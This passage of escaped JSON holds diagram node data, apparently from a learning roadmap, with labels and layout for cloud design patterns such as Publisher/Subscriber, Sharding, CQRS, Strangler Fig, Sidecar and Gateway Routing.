\"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 463,\n      \"height\": 140,\n      \"positionAbsolute\": {\n        \"x\": -302.4401505968112,\n        \"y\": 2038.9719489680733\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 463,\n        \"height\": 140\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 463,\n        \"height\": 140\n      }\n    },\n    {\n      \"id\": \"THlzcZTNnPGLRiHPWT-Jv\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 138.5,\n        \"y\": 2250.9719489680733\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cloud Design Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 286,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 286,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 138.5,\n        \"y\": 2250.9719489680733\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 286,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MPrL72ZLsxJeLKHHCIo3s\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 342.5,\n        \"y\": 2091.9719489680733\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 161,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 161\n      },\n      \"positionAbsolute\": {\n        \"x\": 342.5,\n        \"y\": 2091.9719489680733\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 161\n      }\n    },\n    {\n      \"id\": \"dsWpta3WIBvv2K9pNVPo0\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 249.79296473841032,\n        \"y\": 2338.9915694361566\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Messaging\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 286,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 286,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 249.79296473841032,\n        \"y\": 2338.9915694361566\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 286,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VgvUWAC6JYFyPZKBRoEqf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 260.7929647384103,\n        \"y\": 2395.9915694361566\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sequential Convoy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 260.7929647384103,\n        \"y\": 2395.9915694361566\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uR1fU6pm7zTtdBcNgSRi4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 260.7929647384103,\n        \"y\": 2448.9915694361566\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Scheduling Agent Supervisor\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 260.7929647384103,\n        \"y\": 2448.9915694361566\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LncTxPg-wx8loy55r5NmV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 260.7929647384103,\n        \"y\": 2501.9915694361566\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Queue-Based Load Leveling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 260.7929647384103,\n        \"y\": 2501.9915694361566\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2ryzJhRDTo98gGgn9mAxR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 260.7929647384103,\n        \"y\": 2554.9915694361566\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Publisher/Subscriber\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 260.7929647384103,\n        \"y\": 2554.9915694361566\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DZcZEOi7h3u0744YhASet\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 260.7929647384103,\n        \"y\": 2607.9915694361566\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Priority Queue\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 260.7929647384103,\n        \"y\": 2607.9915694361566\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"siXdR3TB9-4wx_qWieJ5w\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 260.7929647384103,\n        \"y\": 2660.9915694361566\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Pipes and Filters\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 260.7929647384103,\n        \"y\": 2660.9915694361566\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9Ld07KLOqP0ICtXEjngYM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 260.7929647384103,\n        \"y\": 2713.9915694361566\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Competing Consumers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 260.7929647384103,\n        \"y\": 2713.9915694361566\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aCzRgUkVBvtHUeLU6p5ZH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 260.7929647384103,\n        \"y\": 2766.9915694361566\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Choreography\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 260.7929647384103,\n        \"y\": 2766.9915694361566\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kl4upCnnZvJSf2uII1Pa0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 260.7929647384103,\n        \"y\": 2819.9915694361566\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Claim Check\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 260.7929647384103,\n        \"y\": 2819.9915694361566\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eNFNXPsFiryVxFe4unVxk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 261.7929647384103,\n        \"y\": 2872.9915694361566\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Async Request Reply\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 261.7929647384103,\n        \"y\": 2872.9915694361566\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"W0cUCrhiwH_Nrzxw50x3L\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 19.21310958899096,\n        \"y\": 2338.9915694361566\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235\n      },\n      \"positionAbsolute\": {\n        \"x\": 19.21310958899096,\n        \"y\": 2338.9915694361566\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"stZOcr8EUBOK_ZB48uToj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 27.21310958899096,\n        \"y\": 2397.0836910533135\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Valet Key\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 27.21310958899096,\n        \"y\": 2397.0836910533135\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-lKq-LT7EPK7r3xbXLgwS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 27.21310958899096,\n        \"y\": 2450.0836910533135\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Static Content Hosting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 27.21310958899096,\n        \"y\": 2450.0836910533135\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"R6YehzA3X6DDo6oGBoBAx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 27.21310958899096,\n        \"y\": 2503.0836910533135\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sharding\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 27.21310958899096,\n        \"y\": 2503.0836910533135\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WB7vQ4IJ0TPh2MbZvxP6V\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 27.21310958899096,\n        \"y\": 2556.0836910533135\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Materialized View\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 27.21310958899096,\n        \"y\": 2556.0836910533135\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AH0nVeVsfYOjcI3vZvcdz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 27.21310958899096,\n        \"y\": 2609.0836910533135\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Index Table\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 27.21310958899096,\n        \"y\": 2609.0836910533135\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7OgRKlwFqrk3XO2z49EI1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 27.21310958899096,\n        \"y\": 2662.0836910533135\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Event Sourcing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 27.21310958899096,\n        \"y\": 2662.0836910533135\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LTD3dn05c0ruUJW0IQO7z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 27.21310958899096,\n        \"y\": 2715.0836910533135\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CQRS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 27.21310958899096,\n        \"y\": 2715.0836910533135\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PK4V9OWNVi8StdA2N13X2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 27.21310958899096,\n        \"y\": 2768.0836910533135\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cache-Aside\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 27.21310958899096,\n        \"y\": 2768.0836910533135\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PtJ7-v1VCLsyaWWYHYujV\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -342.19669367734,\n        \"y\": 2251.213852028059\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Design & Implementation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 335,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 335\n      },\n      \"positionAbsolute\": {\n        \"x\": -342.19669367734,\n        \"y\": 2251.213852028059\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VIbXf7Jh9PbQ9L-g6pHUG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -334.19669367734,\n        \"y\": 2308.213852028059\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Strangler Fig\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 168,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 168,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -334.19669367734,\n        \"y\": 2308.213852028059\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 168,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"izPT8NfJy1JC6h3i7GJYl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -334.19669367734,\n        \"y\": 2361.213852028059\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Static Content Hosting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 319,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 319,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -334.19669367734,\n        \"y\": 2361.213852028059\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 319,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AAgOGrra5Yz3_eG6tD2Fx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -162.19669367733997,\n        \"y\": 2308.213852028059\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sidecar\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 147,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -162.19669367733997,\n        \"y\": 2308.213852028059\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WkoFezOXLf1H2XI9AtBtv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -334.19669367734,\n        \"y\": 2468.872440135695\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Pipes & Filters\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 169,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 169,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -334.19669367734,\n        \"y\": 2468.872440135695\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 169,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"beWKUIB6Za27yhxQwEYe3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -334.19669367734,\n        \"y\": 2414.429860708825\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Leader Election\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 169,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 169,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -334.19669367734,\n        \"y\": 2414.429860708825\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 169,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LXH_mDlILqcyIKtMYTWqy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -334.1966936773399,\n        \"y\": 2523.4562087989852\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Gateway Routing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 319,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 319,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -334.1966936773399,\n        \"y\": 2523.4562087989852\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 319,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0SOWAA8hrLM-WsG5k66fd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -334.1966936773399,\n        \"y\": 2576.4562087989852\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Gateway Offloading\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 319,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 319,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -334.1966936773399,\n        \"y\": 2576.4562087989852\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 319,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bANGLm_5zR9mqMd6Oox8s\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -334.1966936773399,\n        \"y\": 2629.4562087989852\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Gateway Aggregation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 319,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 319,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -334.1966936773399,\n        \"y\": 2629.4562087989852\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 319,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BrgXwf7g2F-6Rqfjryvpj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -334.1966936773399,\n        \"y\": 2682.4562087989852\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"External Config Store\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 319,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 319,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -334.1966936773399,\n        \"y\": 2682.4562087989852\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 319,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ODjVoXnvJasPvCS2A5iMO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -334.1966936773399,\n        \"y\": 2735.4562087989852\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Compute Resource Consolidation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 319,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 319,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -334.1966936773399,\n        \"y\": 2735.4562087989852\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 319,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ivr3mh0OES5n86FI1PN4N\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -160.69669367733997,\n        \"y\": 2414.429860708825\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CQRS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 144,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 144,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -160.69669367733997,\n        \"y\": 2414.429860708825\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 144,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"n4It-lr7FFtSY83DcGydX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -334.1966936773399,\n        \"y\": 2788.4562087989852\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backends for Frontend\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 319,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 319,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -334.1966936773399,\n        \"y\": 2788.4562087989852\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 319,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4hi7LvjLcv8eR6m-uk8XQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -334.1966936773399,\n        \"y\": 2841.4562087989852\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Anti-Corruption Layer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 319,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 319,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -334.1966936773399,\n        \"y\": 2841.4562087989852\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 319,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Hja4YF3JcgM6CPwB1mxmo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -160.69669367733997,\n        \"y\": 2468.872440135695\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Ambassador\",\n        \"style\": {\n          